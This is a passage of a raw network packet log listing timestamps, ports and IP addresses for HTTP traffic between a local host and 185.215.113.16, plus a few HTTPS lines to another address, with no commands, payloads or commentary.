Nov 19, 2024 19:14:18.011423111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.011461020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.011461020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.011461020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.011481047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.011905909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.011918068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.011930943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.011943102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.011955023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.011966944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.011986017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.011993885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.012000084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.012006998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.012008905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.012011051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.012027979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.012029886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.012036085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.012037039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.012037039 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.012274981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.012274981 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.032768011 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:18.032809019 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:18.032926083 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:18.043807030 CET	49739	443	192.168.2.4	4.245.163.56
Nov 19, 2024 19:14:18.043833017 CET	443	49739	4.245.163.56	192.168.2.4
Nov 19, 2024 19:14:18.053389072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.053416967 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.053427935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.053468943 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.053493977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.053509951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.053558111 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.053594112 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.053607941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.053623915 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.053647041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.053667068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.055047989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.055093050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.055104971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.055164099 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.055164099 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.055191040 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.055217028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.055233955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.055252075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.055279970 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.055306911 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.055306911 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.055831909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.055862904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.055875063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.055951118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.055951118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.055964947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.055975914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.055988073 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.056001902 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.056041002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.056041002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.056067944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.093687057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.093702078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.093725920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.093739033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.093750954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.093750954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.093827009 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.093852043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.093854904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.093854904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.093899965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.093910933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.093914986 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.094026089 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.095155001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095211983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095225096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095323086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095335007 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.095336914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095375061 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.095403910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095417023 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095462084 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.095494986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095504999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095592976 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095608950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095619917 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095635891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095649004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095649004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.095649004 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.095721960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.095721960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.095818996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095881939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095892906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095910072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095922947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.095946074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.095947027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.096013069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096026897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096088886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096098900 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096111059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096123934 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096155882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.096157074 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.096201897 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.096344948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096355915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096370935 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096378088 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096425056 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.096476078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096494913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.096524954 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.096592903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096606016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096617937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096630096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096636057 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096642017 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096656084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.096815109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.096815109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.096815109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.097014904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097028971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097042084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097053051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097067118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097080946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097094059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097105026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097120047 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097132921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097146034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097158909 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097184896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.097184896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.097184896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.097184896 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.097246885 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.097620964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097634077 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097645998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097656965 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097671032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097683907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097691059 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.097696066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097711086 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097724915 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097738028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097749949 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097762108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.097771883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.097771883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.097774982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.098072052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.098072052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.098072052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.098083973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.098093987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.098136902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.130434990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.130462885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.130472898 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.130520105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.131360054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.131370068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.131382942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.131413937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.131438017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.131465912 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.132354021 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.132378101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.132389069 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.132426023 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.132426023 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.132992983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133013010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133024931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133090019 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.133122921 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133133888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133255959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133260012 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.133265972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133279085 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133300066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133301973 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.133320093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.133440971 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133483887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133495092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133528948 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.133548021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.133565903 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133578062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133591890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133692026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133692980 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.133706093 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133761883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.133789062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133801937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133841991 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.133873940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.133887053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.134002924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.134012938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.134020090 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.134023905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.134037018 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.134071112 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.134107113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.140125990 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.140166998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.140178919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.140204906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.140249968 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.140269041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.140280962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.140364885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.140378952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.140393972 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.140427113 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.141849041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.141872883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.141884089 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.141921043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.141949892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.142033100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.142088890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.142102003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.142115116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.142126083 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.142149925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.142203093 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.142667055 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.142741919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.142754078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.142824888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.142838001 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.142858028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.142904043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.142906904 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.142916918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.142993927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.180556059 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.180573940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.180587053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.180619001 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.180664062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.180676937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.180691004 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.180789948 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.180789948 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.180810928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.180824041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.180890083 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.181998014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182008028 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182015896 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182090998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.182090998 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.182100058 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182111979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182126999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182141066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182177067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.182204962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.182219982 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182279110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182383060 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.182477951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182491064 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182504892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182524920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182564974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.182588100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182599068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.182601929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182615995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182627916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182704926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.182704926 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.182744980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182760000 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182765961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182777882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182790995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.182835102 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.183039904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183052063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183064938 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183079958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183093071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183106899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183109999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.183109999 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.183120012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183134079 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183175087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.183202028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.183404922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183424950 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183437109 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183449030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183460951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183468103 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183480024 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183494091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183500051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.183500051 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.183624983 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.183681011 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183692932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183706999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183753014 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183763027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.183763027 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.183770895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183784008 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183798075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183809042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183824062 CET	80	49738	185.215.113.16	192.168.2.4
Nov 19, 2024 19:14:18.183860064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.183860064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.183906078 CET	49738	80	192.168.2.4	185.215.113.16
Nov 19, 2024 19:14:18.184133053 CET	80	49738	185.215.113.16	192.168.2.4
